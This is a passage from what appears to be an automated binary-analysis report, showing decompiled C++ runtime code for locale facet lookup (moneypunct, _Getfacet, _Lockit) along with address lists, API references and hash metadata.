																																		_t581 =  *0xb45c94; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t581;
																																		_t313 = E00AB1310(_t414, 0xb45c30, _t566, _t581);
																																		_t487 = _a8;
																																		_t567 = E00AC3FEF(_a8, _t313);
																																		__eflags = _t567;
																																		if(_t567 != 0) {
																																			L75:
																																			E00AC2FED( &_v20);
																																			E00ADAEB2();
																																			return _t567;
																																		} else {
																																			__eflags = _t581;
																																			if(_t581 == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E00ACB92E(_t487, _t555) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E00AC38B4( &_v32);
																																					E00AF1677( &_v32, 0xb3dcf8);
																																					asm("int3");
																																					_push(0x14);
																																					E00ADAEE9();
																																					E00AC2F94( &_v20, 0);
																																					_t582 =  *0xb45c60; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t582;
																																					_t324 = E00AB1310(_t414, 0xb45c08, _t567, _t582);
																																					_t494 = _a8;
																																					_t568 = E00AC3FEF(_a8, _t324);
																																					__eflags = _t568;
																																					if(_t568 != 0) {
																																						L82:
																																						E00AC2FED( &_v20);
																																						E00ADAEB2();
																																						return _t568;
																																					} else {
																																						__eflags = _t582;
																																						if(_t582 == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E00ACB99A(_t494, _t555) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E00AC38B4( &_v32);
																																								E00AF1677( &_v32, 0xb3dcf8);
																																								asm("int3");
																																								_push(0x14);
																																								E00ADAEE9();
																																								E00AC2F94( &_v20, 0);
																																								_t583 =  *0xb45c98; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t583;
																																								_t335 = E00AB1310(_t414, 0xb45c34, _t568, _t583);
																																								_t501 = _a8;
																																								_t569 = E00AC3FEF(_a8, _t335);
																																								__eflags = _t569;
																																								if(_t569 != 0) {
																																									L89:
																																									E00AC2FED( &_v20);
																																									E00ADAEB2();
																																									return _t569;
																																								} else {
																																									__eflags = _t583;
																																									if(_t583 == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E00ACBA06(_t501, _t555) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E00AC38B4( &_v32);
																																											E00AF1677( &_v32, 0xb3dcf8);
																																											asm("int3");
																																											_push(0x14);
																																											E00ADAEE9();
																																											E00AC2F94( &_v20, 0);
																																											_t584 =  *0xb45c64; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t584;
																																											_t346 = E00AB1310(_t414, 0xb45be0, _t569, _t584);
																																											_t508 = _a8;
																																											_t570 = E00AC3FEF(_a8, _t346);
																																											__eflags = _t570;
																																											if(_t570 != 0) {
																																												L96:
																																												E00AC2FED( &_v20);
																																												E00ADAEB2();
																																												return _t570;
																																											} else {
																																												__eflags = _t584;
																																												if(_t584 == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E00ACBA6C(_t508, _t555) - 0xffffffff;
																																													if(__eflags == 0) {
																																														_t512 =  &_v32;
																																														E00AC38B4(_t512);
																																														E00AF1677( &_v32, 0xb3dcf8);
																																														asm("int3");
																																														_push(_t584);
																																														_t585 = _t512;
																																														_t198 = _t585 + 0x10;
																																														 *_t198 =  *(_t585 + 0x10) & 0x00000000;
																																														__eflags =  *_t198;
																																														 *((intOrPtr*)(_t585 + 0x14)) = 7;
																																														 *_t585 = 0;
																																														E00AD1A97(_v52);
																																														return _t585;
																																													} else {
																																														_t570 = _v16;
																																														_v16 = _t570;
																																														_v4 = 1;
																																														E00AC70E1(__eflags, _t570);
																																														 *0xb1531c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t570 + 4))))();
																																														 *0xb45c64 = _t570;
																																														goto L96;
																																													}
																																												} else {
																																													_t570 = _t584;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t569 = _v16;
																																											_v16 = _t569;
																																											_v4 = 1;
																																											E00AC70E1(__eflags, _t569);
																																											 *0xb1531c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t569 + 4))))();
																																											 *0xb45c98 = _t569;
																																											goto L89;
																																										}
																																									} else {
																																										_t569 = _t583;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t568 = _v16;
																																								_v16 = _t568;
																																								_v4 = 1;
																																								E00AC70E1(__eflags, _t568);
																																								 *0xb1531c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t568 + 4))))();
																																								 *0xb45c60 = _t568;
																																								goto L82;
																																							}
																																						} else {
																																							_t568 = _t582;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t567 = _v16;
																																					_v16 = _t567;
																																					_v4 = 1;
																																					E00AC70E1(__eflags, _t567);
																																					 *0xb1531c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t567 + 4))))();
																																					 *0xb45c94 = _t567;
																																					goto L75;
																																				}
																																			} else {
																																				_t567 = _t581;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t566 = _v16;
																																		_v16 = _t566;
																																		_v4 = 1;
																																		E00AC70E1(__eflags, _t566);
																																		 *0xb1531c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t566 + 4))))();
																																		 *0xb45c44 = _t566;
																																		goto L68;
																																	}
																																} else {
																																	_t566 = _t580;
																																	goto L68;
																																}
																															}
																														} else {
																															_t565 = _v16;
																															_v16 = _t565;
																															_v4 = 1;
																															E00AC70E1(__eflags, _t565);
																															 *0xb1531c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t565 + 4))))();
																															 *0xb45c78 = _t565;
																															goto L61;
																														}
																													} else {
																														_t565 = _t579;
																														goto L61;
																													}
																												}
																											} else {
																												_t564 = _v16;
																												_v16 = _t564;
																												_v4 = 1;
																												E00AC70E1(__eflags, _t564);
																												 *0xb1531c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t564 + 4))))();
																												 *0xb45c40 = _t564;
																												goto L54;
																											}
																										} else {
																											_t564 = _t578;
																											goto L54;
																										}
																									}
																								} else {
																									_t563 = _v16;
																									_v16 = _t563;
																									_v4 = 1;
																									E00AC70E1(__eflags, _t563);
																									 *0xb1531c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t563 + 4))))();
																									 *0xb45c74 = _t563;
																									goto L47;
																								}
																							} else {
																								_t563 = _t577;
																								goto L47;
																							}
																						}
																					} else {
																						_t562 = _v16;
																						_v16 = _t562;
																						_v4 = 1;
																						E00AC70E1(__eflags, _t562);
																						 *0xb1531c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t562 + 4))))();
																						 *0xb45c3c = _t562;
																						goto L40;
																					}
																				} else {
																					_t562 = _t576;
																					goto L40;
																				}
																			}
																		} else {
																			_t561 = _v16;
																			_v16 = _t561;
																			_v4 = 1;
																			E00AC70E1(__eflags, _t561);
																			 *0xb1531c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t561 + 4))))();
																			 *0xb45c70 = _t561;
																			goto L33;
																		}
																	} else {
																		_t561 = _t575;
																		goto L33;
																	}
																}
															} else {
																_t560 = _v16;
																_v16 = _t560;
																_v4 = 1;
																E00AC70E1(__eflags, _t560);
																 *0xb1531c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t560 + 4))))();
																 *0xb45c58 = _t560;
																goto L26;
															}
														} else {
															_t560 = _t574;
															goto L26;
														}
													}
												} else {
													_t559 = _v16;
													_v16 = _t559;
													_v4 = 1;
													E00AC70E1(__eflags, _t559);
													 *0xb1531c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t559 + 4))))();
													 *0xb45c5c = _t559;
													goto L19;
												}
											} else {
												_t559 = _t573;
												goto L19;
											}
										}
									} else {
										_t558 = _v16;
										_v16 = _t558;
										_v4 = 1;
										E00AC70E1(__eflags, _t558);
										 *0xb1531c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t558 + 4))))();
										 *0xb45c8c = _t558;
										goto L12;
									}
								} else {
									_t558 = _t572;
									goto L12;
								}
							}
						} else {
							_t557 = _v16;
							_v16 = _t557;
							_v4 = 1;
							E00AC70E1(__eflags, _t557);
							 *0xb1531c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t557 + 4))))();
							 *0xb45c90 = _t557;
							goto L5;
						}
					} else {
						_t557 = _t571;
						goto L5;
					}
				}
			}

0x00ac988d
0x00ac988d
0x00ac9894
0x00ac989e
0x00ac98a3
0x00ac98ae
0x00ac98b2
0x00ac98b5
0x00ac98ba
0x00ac98c3
0x00ac98c7
0x00ac990c
0x00ac990f
0x00ac9916
0x00ac991b
0x00ac98c9
0x00ac98cb
0x00ac98d1
0x00ac98d7
0x00ac98df
0x00ac98e2
0x00ac991f
0x00ac992d
0x00ac9932
0x00ac9933
0x00ac993a
0x00ac9944
0x00ac9949
0x00ac9954
0x00ac9958
0x00ac995b
0x00ac9960
0x00ac9969
0x00ac996b
0x00ac996d
0x00ac99b2
0x00ac99b5
0x00ac99bc
0x00ac99c1
0x00ac996f
0x00ac996f
0x00ac9971
0x00ac9977
0x00ac997d
0x00ac9985
0x00ac9988
0x00ac99c5
0x00ac99d3
0x00ac99d8
0x00ac99d9
0x00ac99e0
0x00ac99ea
0x00ac99ef
0x00ac99fa
0x00ac99fe
0x00ac9a01
0x00ac9a06
0x00ac9a0f
0x00ac9a11
0x00ac9a13
0x00ac9a58
0x00ac9a5b
0x00ac9a62
0x00ac9a67
0x00ac9a15
0x00ac9a15
0x00ac9a17
0x00ac9a1d
0x00ac9a23
0x00ac9a2b
0x00ac9a2e
0x00ac9a6b
0x00ac9a79
0x00ac9a7e
0x00ac9a7f
0x00ac9a86
0x00ac9a90
0x00ac9a95
0x00ac9aa0
0x00ac9aa4
0x00ac9aa7
0x00ac9aac
0x00ac9ab5
0x00ac9ab7
0x00ac9ab9
0x00ac9afe
0x00ac9b01
0x00ac9b08
0x00ac9b0d
0x00ac9abb
0x00ac9abb
0x00ac9abd
0x00ac9ac3
0x00ac9ac9
0x00ac9ad1
0x00ac9ad4
0x00ac9b11
0x00ac9b1f
0x00ac9b24
0x00ac9b25
0x00ac9b2c
0x00ac9b36
0x00ac9b3b
0x00ac9b46
0x00ac9b4a
0x00ac9b4d
0x00ac9b52
0x00ac9b5b
0x00ac9b5d
0x00ac9b5f
0x00ac9ba4
0x00ac9ba7
0x00ac9bae
0x00ac9bb3
0x00ac9b61
0x00ac9b61
0x00ac9b63
0x00ac9b69
0x00ac9b6f
0x00ac9b77
0x00ac9b7a
0x00ac9bb7
0x00ac9bc5
0x00ac9bca
0x00ac9bcb
0x00ac9bd2
0x00ac9bdc
0x00ac9be1
0x00ac9bec
0x00ac9bf0
0x00ac9bf3
0x00ac9bf8
0x00ac9c01
0x00ac9c03
0x00ac9c05
0x00ac9c4a
0x00ac9c4d
0x00ac9c54
0x00ac9c59
0x00ac9c07
0x00ac9c07
0x00ac9c09
0x00ac9c0f
0x00ac9c15
0x00ac9c1d
0x00ac9c20
0x00ac9c5d
0x00ac9c6b
0x00ac9c70
0x00ac9c71
0x00ac9c78
0x00ac9c82
0x00ac9c87
0x00ac9c92
0x00ac9c96
0x00ac9c99
0x00ac9c9e
0x00ac9ca7
0x00ac9ca9
0x00ac9cab
0x00ac9cf0
0x00ac9cf3
0x00ac9cfa
0x00ac9cff
0x00ac9cad
0x00ac9cad
0x00ac9caf
0x00ac9cb5
0x00ac9cbb
0x00ac9cc3
0x00ac9cc6
0x00ac9d03
0x00ac9d11
0x00ac9d16
0x00ac9d17
0x00ac9d1e
0x00ac9d28
0x00ac9d2d
0x00ac9d38
0x00ac9d3c
0x00ac9d3f
0x00ac9d44
0x00ac9d4d
0x00ac9d4f
0x00ac9d51
0x00ac9d96
0x00ac9d99
0x00ac9da0
0x00ac9da5
0x00ac9d53
0x00ac9d53
0x00ac9d55
0x00ac9d5b
0x00ac9d61
0x00ac9d69
0x00ac9d6c
0x00ac9da9
0x00ac9db7
0x00ac9dbc
0x00ac9dbd
0x00ac9dc4
0x00ac9dce
0x00ac9dd3
0x00ac9dde
0x00ac9de2
0x00ac9de5
0x00ac9dea
0x00ac9df3
0x00ac9df5
0x00ac9df7
0x00ac9e3c
0x00ac9e3f
0x00ac9e46
0x00ac9e4b
0x00ac9df9
0x00ac9df9
0x00ac9dfb
0x00ac9e01
0x00ac9e07
0x00ac9e0f
0x00ac9e12
0x00ac9e4f
0x00ac9e5d
0x00ac9e62
0x00ac9e63
0x00ac9e6a
0x00ac9e74
0x00ac9e79
0x00ac9e84
0x00ac9e88
0x00ac9e8b
0x00ac9e90
0x00ac9e99
0x00ac9e9b
0x00ac9e9d
0x00ac9ee2
0x00ac9ee5
0x00ac9eec
0x00ac9ef1
0x00ac9e9f
0x00ac9e9f
0x00ac9ea1
0x00ac9ea7
0x00ac9ead
0x00ac9eb5
0x00ac9eb8
0x00ac9ef5
0x00ac9f03
0x00ac9f08
0x00ac9f09
0x00ac9f10
0x00ac9f1a
0x00ac9f1f
0x00ac9f2a
0x00ac9f2e
0x00ac9f31
0x00ac9f36
0x00ac9f3f
0x00ac9f41
0x00ac9f43
0x00ac9f88
0x00ac9f8b
0x00ac9f92
0x00ac9f97
0x00ac9f45
0x00ac9f45
0x00ac9f47
0x00ac9f4d
0x00ac9f53
0x00ac9f5b
0x00ac9f5e
0x00ac9f9b
0x00ac9fa9
0x00ac9fae
0x00ac9faf
0x00ac9fb6
0x00ac9fc0
0x00ac9fc5
0x00ac9fd0
0x00ac9fd4
0x00ac9fd7
0x00ac9fdc
0x00ac9fe5
0x00ac9fe7
0x00ac9fe9
0x00aca02e
0x00aca031
0x00aca038
0x00aca03d
0x00ac9feb
0x00ac9feb
0x00ac9fed
0x00ac9ff3
0x00ac9ff9
0x00aca001
0x00aca004
0x00aca041
0x00aca04f
0x00aca054
0x00aca055
0x00aca05c
0x00aca066
0x00aca06b
0x00aca076
0x00aca07a
0x00aca07d
0x00aca082
0x00aca08b
0x00aca08d
0x00aca08f
0x00aca0d4
0x00aca0d7
0x00aca0de
0x00aca0e3
0x00aca091
0x00aca091
0x00aca093
0x00aca099
0x00aca09f
0x00aca0a7
0x00aca0aa
0x00aca0e7
0x00aca0f5
0x00aca0fa
0x00aca0fb
0x00aca102
0x00aca10c
0x00aca111
0x00aca11c
0x00aca120
0x00aca123
0x00aca128
0x00aca131
0x00aca133
0x00aca135
0x00aca17a
0x00aca17d
0x00aca184
0x00aca189
0x00aca137
0x00aca137
0x00aca139
0x00aca13f
0x00aca145
0x00aca14d
0x00aca150
0x00aca18a
0x00aca18d
0x00aca19b
0x00aca1a0
0x00aca1a4
0x00aca1a8
0x00aca1ac
0x00aca1ac
0x00aca1ac
0x00aca1b0
0x00aca1b7
0x00aca1ba
0x00aca1c3
0x00aca152
0x00aca152
0x00aca155
0x00aca159
0x00aca15d
0x00aca16a
0x00aca172
0x00aca174
0x00000000
0x00aca174
0x00aca13b
0x00aca13b
0x00000000
0x00aca13b
0x00aca139
0x00aca0ac
0x00aca0ac
0x00aca0af
0x00aca0b3
0x00aca0b7
0x00aca0c4
0x00aca0cc
0x00aca0ce
0x00000000
0x00aca0ce
0x00aca095
0x00aca095
0x00000000
0x00aca095
0x00aca093
0x00aca006
0x00aca006
0x00aca009
0x00aca00d
0x00aca011
0x00aca01e
0x00aca026
0x00aca028
0x00000000
0x00aca028
0x00ac9fef
0x00ac9fef
0x00000000
0x00ac9fef
0x00ac9fed
0x00ac9f60
0x00ac9f60
0x00ac9f63
0x00ac9f67
0x00ac9f6b
0x00ac9f78
0x00ac9f80
0x00ac9f82
0x00000000
0x00ac9f82
0x00ac9f49
0x00ac9f49
0x00000000
0x00ac9f49
0x00ac9f47
0x00ac9eba
0x00ac9eba
0x00ac9ebd
0x00ac9ec1
0x00ac9ec5
0x00ac9ed2
0x00ac9eda
0x00ac9edc
0x00000000
0x00ac9edc
0x00ac9ea3
0x00ac9ea3
0x00000000
0x00ac9ea3
0x00ac9ea1
0x00ac9e14
0x00ac9e14
0x00ac9e17
0x00ac9e1b
0x00ac9e1f
0x00ac9e2c
0x00ac9e34
0x00ac9e36
0x00000000
0x00ac9e36
0x00ac9dfd
0x00ac9dfd
0x00000000
0x00ac9dfd
0x00ac9dfb
0x00ac9d6e
0x00ac9d6e
0x00ac9d71
0x00ac9d75
0x00ac9d79
0x00ac9d86
0x00ac9d8e
0x00ac9d90
0x00000000
0x00ac9d90
0x00ac9d57
0x00ac9d57
0x00000000
0x00ac9d57
0x00ac9d55
0x00ac9cc8
0x00ac9cc8
0x00ac9ccb
0x00ac9ccf
0x00ac9cd3
0x00ac9ce0
0x00ac9ce8
0x00ac9cea
0x00000000
0x00ac9cea
0x00ac9cb1
0x00ac9cb1
0x00000000
0x00ac9cb1
0x00ac9caf
0x00ac9c22
0x00ac9c22
0x00ac9c25
0x00ac9c29
0x00ac9c2d
0x00ac9c3a
0x00ac9c42
0x00ac9c44
0x00000000
0x00ac9c44
0x00ac9c0b
0x00ac9c0b
0x00000000
0x00ac9c0b
0x00ac9c09
0x00ac9b7c
0x00ac9b7c
0x00ac9b7f
0x00ac9b83
0x00ac9b87
0x00ac9b94
0x00ac9b9c
0x00ac9b9e
0x00000000
0x00ac9b9e
0x00ac9b65
0x00ac9b65
0x00000000
0x00ac9b65
0x00ac9b63
0x00ac9ad6
0x00ac9ad6
0x00ac9ad9
0x00ac9add
0x00ac9ae1
0x00ac9aee
0x00ac9af6
0x00ac9af8
0x00000000
0x00ac9af8
0x00ac9abf
0x00ac9abf
0x00000000
0x00ac9abf
0x00ac9abd
0x00ac9a30
0x00ac9a30
0x00ac9a33
0x00ac9a37
0x00ac9a3b
0x00ac9a48
0x00ac9a50
0x00ac9a52
0x00000000
0x00ac9a52
0x00ac9a19
0x00ac9a19
0x00000000
0x00ac9a19
0x00ac9a17
0x00ac998a
0x00ac998a
0x00ac998d
0x00ac9991
0x00ac9995
0x00ac99a2
0x00ac99aa
0x00ac99ac
0x00000000
0x00ac99ac
0x00ac9973
0x00ac9973
0x00000000
0x00ac9973
0x00ac9971
0x00ac98e4
0x00ac98e4
0x00ac98e7
0x00ac98eb
0x00ac98ef
0x00ac98fc
0x00ac9904
0x00ac9906
0x00000000
0x00ac9906
0x00ac98cd
0x00ac98cd
0x00000000
0x00ac98cd
0x00ac98cb

APIs

__EH_prolog3.LIBCMT ref: 00AC9894
std::_Lockit::_Lockit.LIBCPMT ref: 00AC989E

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC98BE
moneypunct.LIBCPMT ref: 00AC98D8
std::_Facet_Register.LIBCPMT ref: 00AC98EF
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC990F
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC992D

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowmoneypunctstd::locale::_
String ID:
API String ID: 2429134193-0
Opcode ID: 6e51a2bab00bd96c2b9708698980e015ee1b91055f005c443bb11d1f63f8a3d4
Instruction ID: cef1832a78944e8b6f585c083e353d95181d62b67f94e6ecfeb0c5dfabda1ecd
Opcode Fuzzy Hash: 6e51a2bab00bd96c2b9708698980e015ee1b91055f005c443bb11d1f63f8a3d4
Instruction Fuzzy Hash: 1511C2769006199BCF04EBA4C946FEEB7B5BF44310F56440DF821AB2A2DF749A01C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC99D9, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC99E0
std::_Lockit::_Lockit.LIBCPMT ref: 00AC99EA

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9A0A
moneypunct.LIBCPMT ref: 00AC9A24
std::_Facet_Register.LIBCPMT ref: 00AC9A3B
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9A5B
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9A79

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowmoneypunctstd::locale::_
String ID:
API String ID: 2429134193-0
Opcode ID: 5885f7b8842740a63f4b682cb96b5ed6b0c377c64554d6b7e1e2192a883586a6
Instruction ID: 12309a61dbc0f48ce59d357be4162dc10bea0312340d176fdcad74286069aa39
Opcode Fuzzy Hash: 5885f7b8842740a63f4b682cb96b5ed6b0c377c64554d6b7e1e2192a883586a6
Instruction Fuzzy Hash: CF11C2769006298BCF05EBA4C94AFEEB3B5BF44310F16444DF8216B292DF749A05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9933, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00AC9933(void* __edx, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				char _v32;
				intOrPtr _v48;
				void* _t189;
				void* _t200;
				void* _t211;
				void* _t222;
				void* _t233;
				void* _t244;
				void* _t255;
				void* _t266;
				void* _t277;
				void* _t288;
				void* _t299;
				void* _t310;
				void* _t321;
				void* _t385;
				short* _t476;
				void* _t516;
				void* _t517;
				signed int _t518;
				signed int _t519;
				signed int _t520;
				signed int _t521;
				signed int _t522;
				signed int _t523;
				signed int _t524;
				signed int _t525;
				signed int _t526;
				signed int _t527;
				signed int _t528;
				signed int _t529;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t534;
				signed int _t535;
				signed int _t536;
				signed int _t537;
				signed int _t538;
				signed int _t539;
				signed int _t540;
				signed int _t541;
				signed int _t542;
				signed int _t543;
				short* _t544;

				_t516 = __edx;
				_push(0x14);
				E00ADAEE9();
				E00AC2F94( &_v20, 0);
				_t531 =  *0xb45c8c; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t531;
				_t189 = E00AB1310(_t385, 0xb45c28, _t517, _t531);
				_t388 = _a8;
				_t518 = E00AC3FEF(_a8, _t189);
				if(_t518 != 0) {
					L5:
					E00AC2FED( &_v20);
					E00ADAEB2();
					return _t518;
				} else {
					if(_t531 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E00ACB50A(_t388, _t516, _t531) - 0xffffffff;
						if(__eflags == 0) {
							E00AC38B4( &_v32);
							E00AF1677( &_v32, 0xb3dcf8);
							asm("int3");
							_push(0x14);
							E00ADAEE9();
							E00AC2F94( &_v20, 0);
							_t532 =  *0xb45c5c; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t532;
							_t200 = E00AB1310(_t385, 0xb45c04, _t518, _t532);
							_t395 = _a8;
							_t519 = E00AC3FEF(_a8, _t200);
							__eflags = _t519;
							if(_t519 != 0) {
								L12:
								E00AC2FED( &_v20);
								E00ADAEB2();
								return _t519;
							} else {
								__eflags = _t532;
								if(_t532 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E00ACB58F(_t395, _t516, _t532) - 0xffffffff;
									if(__eflags == 0) {
										E00AC38B4( &_v32);
										E00AF1677( &_v32, 0xb3dcf8);
										asm("int3");
										_push(0x14);
										E00ADAEE9();
										E00AC2F94( &_v20, 0);
										_t533 =  *0xb45c58; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t533;
										_t211 = E00AB1310(_t385, 0xb45c00, _t519, _t533);
										_t402 = _a8;
										_t520 = E00AC3FEF(_a8, _t211);
										__eflags = _t520;
										if(_t520 != 0) {
											L19:
											E00AC2FED( &_v20);
											E00ADAEB2();
											return _t520;
										} else {
											__eflags = _t533;
											if(_t533 == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E00ACB613(_t402, _t516, _t533) - 0xffffffff;
												if(__eflags == 0) {
													E00AC38B4( &_v32);
													E00AF1677( &_v32, 0xb3dcf8);
													asm("int3");
													_push(0x14);
													E00ADAEE9();
													E00AC2F94( &_v20, 0);
													_t534 =  *0xb45c70; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t534;
													_t222 = E00AB1310(_t385, 0xb45c0c, _t520, _t534);
													_t409 = _a8;
													_t521 = E00AC3FEF(_a8, _t222);
													__eflags = _t521;
													if(_t521 != 0) {
														L26:
														E00AC2FED( &_v20);
														E00ADAEB2();
														return _t521;
													} else {
														__eflags = _t534;
														if(_t534 == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E00ACB698(_t409, _t516, _t534) - 0xffffffff;
															if(__eflags == 0) {
																E00AC38B4( &_v32);
																E00AF1677( &_v32, 0xb3dcf8);
																asm("int3");
																_push(0x14);
																E00ADAEE9();
																E00AC2F94( &_v20, 0);
																_t535 =  *0xb45c3c; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t535;
																_t233 = E00AB1310(_t385, 0xb45be4, _t521, _t535);
																_t416 = _a8;
																_t522 = E00AC3FEF(_a8, _t233);
																__eflags = _t522;
																if(_t522 != 0) {
																	L33:
																	E00AC2FED( &_v20);
																	E00ADAEB2();
																	return _t522;
																} else {
																	__eflags = _t535;
																	if(_t535 == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E00ACB700(_t416, _t516, _t535) - 0xffffffff;
																		if(__eflags == 0) {
																			E00AC38B4( &_v32);
																			E00AF1677( &_v32, 0xb3dcf8);
																			asm("int3");
																			_push(0x14);
																			E00ADAEE9();
																			E00AC2F94( &_v20, 0);
																			_t536 =  *0xb45c74; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t536;
																			_t244 = E00AB1310(_t385, 0xb45c10, _t522, _t536);
																			_t423 = _a8;
																			_t523 = E00AC3FEF(_a8, _t244);
																			__eflags = _t523;
																			if(_t523 != 0) {
																				L40:
																				E00AC2FED( &_v20);
																				E00ADAEB2();
																				return _t523;
																			} else {
																				__eflags = _t536;
																				if(_t536 == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E00ACB768(_t423, _t516, _t536) - 0xffffffff;
																					if(__eflags == 0) {
																						E00AC38B4( &_v32);
																						E00AF1677( &_v32, 0xb3dcf8);
																						asm("int3");
																						_push(0x14);
																						E00ADAEE9();
																						E00AC2F94( &_v20, 0);
																						_t537 =  *0xb45c40; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t537;
																						_t255 = E00AB1310(_t385, 0xb45be8, _t523, _t537);
																						_t430 = _a8;
																						_t524 = E00AC3FEF(_a8, _t255);
																						__eflags = _t524;
																						if(_t524 != 0) {
																							L47:
																							E00AC2FED( &_v20);
																							E00ADAEB2();
																							return _t524;
																						} else {
																							__eflags = _t537;
																							if(_t537 == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E00ACB7D0(_t430, _t516, _t537) - 0xffffffff;
																								if(__eflags == 0) {
																									E00AC38B4( &_v32);
																									E00AF1677( &_v32, 0xb3dcf8);
																									asm("int3");
																									_push(0x14);
																									E00ADAEE9();
																									E00AC2F94( &_v20, 0);
																									_t538 =  *0xb45c78; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t538;
																									_t266 = E00AB1310(_t385, 0xb45c14, _t524, _t538);
																									_t437 = _a8;
																									_t525 = E00AC3FEF(_a8, _t266);
																									__eflags = _t525;
																									if(_t525 != 0) {
																										L54:
																										E00AC2FED( &_v20);
																										E00ADAEB2();
																										return _t525;
																									} else {
																										__eflags = _t538;
																										if(_t538 == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E00ACB838(_t437, _t516, _t538) - 0xffffffff;
																											if(__eflags == 0) {
																												E00AC38B4( &_v32);
																												E00AF1677( &_v32, 0xb3dcf8);
																												asm("int3");
																												_push(0x14);
																												E00ADAEE9();
																												E00AC2F94( &_v20, 0);
																												_t539 =  *0xb45c44; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t539;
																												_t277 = E00AB1310(_t385, 0xb45bec, _t525, _t539);
																												_t444 = _a8;
																												_t526 = E00AC3FEF(_a8, _t277);
																												__eflags = _t526;
																												if(_t526 != 0) {
																													L61:
																													E00AC2FED( &_v20);
